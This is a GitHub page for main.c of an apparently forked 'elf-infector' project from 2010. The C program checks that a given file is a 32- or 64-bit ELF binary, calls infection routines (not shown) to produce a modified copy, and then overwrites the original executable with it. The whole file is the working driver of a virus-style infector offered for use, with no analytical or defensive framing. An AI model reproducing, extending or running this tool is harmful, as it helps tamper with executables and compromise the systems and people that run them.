forked from oblique/elf-infector
-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.c
88 lines (72 loc) · 1.9 KB
/
main.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
/* oblique 2010
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <elf.h>
#include <sys/stat.h>
#include "infector.h"
#include "common.h"
int main(int argc, char *argv[]) {
int fd, fdout, res;
struct stat st;
char magic[EI_NIDENT];
char tmpfile[] = "XXXXXX";
if (argc != 2) {
printf("oblique 2010\n");
printf("infector v0.2\n\n");
printf("usage: %s elf_file\n", argv[0]);
return 1;
}
if (stat(argv[1], &st) == -1) {
print_error(__FILE__, __LINE__-1, errno, "stat");
return 1;
}
if ((fd = open(argv[1], O_RDONLY)) == -1) {
print_error(__FILE__, __LINE__-1, errno, "open");
return 1;
}
if ((fdout = mkstemp(tmpfile)) == -1) {
print_error(__FILE__, __LINE__-1, errno, "mkstemp");
close(fd);
return 1;
}
if ((res = read(fd, magic, EI_NIDENT)) == -1) {
print_error(__FILE__, __LINE__-1, errno, "read");
goto _fatal;
} else if (res != EI_NIDENT) {
fprintf(stderr, "[-] File is too small\n");
goto _fatal;
}
if (memcmp(magic, ELFMAG, SELFMAG) == 0) {
if (magic[EI_CLASS] == ELFCLASS32) {
if (infect_elf32(fd, fdout) == -1)
goto _fatal;
} else if (magic[EI_CLASS] == ELFCLASS64) {
if (infect_elf64(fd, fdout) == -1)
goto _fatal;
} else {
fprintf(stderr, "Unknown ELF class.\n");
goto _fatal;
}
} else {
fprintf(stderr, "File not ELF.\n");
goto _fatal;
}
close(fd);
close(fdout);
printf("[+] Replace the original file\n");
if (replace_file(tmpfile, argv[1], st) == -1) {
unlink(tmpfile);
return 1;
}
printf("[+] Done!\n");
return 0;
_fatal:
close(fd);
close(fdout);
unlink(tmpfile);
return 1;
}